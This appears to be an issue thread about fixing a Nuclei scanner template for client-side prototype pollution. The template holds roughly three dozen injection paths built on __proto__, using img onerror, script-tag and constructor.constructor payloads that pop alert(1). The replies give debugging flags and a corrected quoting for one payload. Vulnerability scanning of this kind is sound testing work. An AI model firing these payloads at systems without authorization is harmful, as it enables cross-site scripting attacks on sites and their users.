how fix this

[Kalimon12]

id: prototype pollution

info:
  name: prototype pollution Check
  author: kali
  severity: medium
  description: Searches for reflected XSS in the server response via GET-requests.
  tags: prototype

requests:
  - method: GET
    path:
      - "{{BaseURL}}/?__proto__[innerHTML]=<img/src/onerror=alert(1)>"
      - "{{BaseURL}}/?__proto__[context]=<img/src/onerror%3dalert(1)>"
      - "{{BaseURL}}/?__proto__[url][]=data:,alert(1)//"
      - "{{BaseURL}}/?__proto__[url]=data:,alert(1)//"
      - "{{BaseURL}}/?__proto__[src][]=data:,alert(1)//"
      - "{{BaseURL}}/?__proto__[url]=data:,alert(1)//"
      - "{{BaseURL}}/&__proto__[div][1]=<img/src/onerror%3dalert(1)>"
      - "{{BaseURL}}/&__proto__[delegateTarget]=<img/src/onerror%3dalert(1)>"
      - "{{BaseURL}}/?__proto__[srcdoc][]=<script>alert(1)</script>"
      - "{{BaseURL}}/?__proto__[hif][]=javascript:alert(1)"
      - "{{BaseURL}}/?__proto__[sourceURL]=%E2%80%A8%E2%80%A9alert(1)"
      - "{{BaseURL}}/?__proto__[*][]=onload[1]"
      - "{{BaseURL}}/?__proto__[innerText]=<script>alert(1)</script>"
      - "{{BaseURL}}/?__proto__[whiteList][img][0]=onerror"
      - "{{BaseURL}}/?__proto__[CLOSURE_BASE_PATH]=data:,alert(1)//"
      - "{{BaseURL}}/&__proto__[onerror][]=alert(1)"
      - "{{BaseURL}}/?__proto__[src]=data:,alert(1)//"
      - "{{BaseURL}}/?__proto__[xxx]=alert(1)"
      - "{{BaseURL}}/?__proto__[onload]=alert(1)"
      - "{{BaseURL}}/&__proto__[script][1]=<img/src/onerror%3dalert(1)>"
      - "{{BaseURL}}/?__proto__[4]=a':1,[alert(1)]:1,'b"
      - "{{BaseURL}}/?__proto__[onerror]=alert(1)"
      - "{{BaseURL}}/?__proto__[div][intro]=<img%20src%20onerror%3dalert(1)>"
      - "{{BaseURL}}/?__proto__[v-if]=_c.constructor('alert(1)')()"
      - "{{BaseURL}}/&__proto__[xxx]=data:,alert(1)//"
      - "{{BaseURL}}/?__proto__[v-bind:class]=''.constructor.constructor('alert(1)')()"
      - "{{BaseURL}}/&__proto__[template][innerHTML]=<script>alert(1)</script>"
      - "{{BaseURL}}/&__proto__[name]=":''.constructor.constructor('alert(1)')(),""
      - "{{BaseURL}}/?__proto__[template]=<script>alert(1)</script>"
      - "{{BaseURL}}/&__proto__[nsSeparator]=<img/src/onerror%3dalert(1)> "
      - "{{BaseURL}}/&__proto__[d]=<img/src/onerror%3dalert(1)> "
      - "{{BaseURL}}/&__proto__[key]=<img/src/onerror%3dalert(1)> "
      - "{{BaseURL}}/&__proto__[arrow][ontransitionend]=alert(1)"
      - "{{BaseURL}}/&__proto__[reference][ontransitionend]=alert(2)"
      - "{{BaseURL}}/&__proto__[popper][ontransitionend]=alert(3)"
      - "{{BaseURL}}/#__proto__[asd]=alert(document.domain)"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "proto"

        part: body

      - type: word
        words:
          - "text/html"
        part: header

      - type: status
        status:
          - 200

[ehsandeep]

@Kalimon12 You can use -v flag to see the syntax error.

[daffainfo]

Maybe you entered the wrong template name because the error is Could not run nuclei: no templates were found

Try adding -t /path/to/file.yaml to fix this

[pakkers]

Could you try to add the flag -debug? Sometimes this flag show more info about the error.

[reewardius]

• "{{BaseURL}}/&proto[name]=":''.constructor.constructor('alert(1)')(),""

this payload generate issue

[vblonsky]

I suggest you should change line to
- "{{BaseURL}}/&__proto__[name]=\":''.constructor.constructor('alert(1)')(),\""
or:
- "{{BaseURL}}/&__proto__[name]=%22:''.constructor.constructor('alert(1)')(),%22"
or try both lines.
Use -debug-req key to see what string exactly will be sent.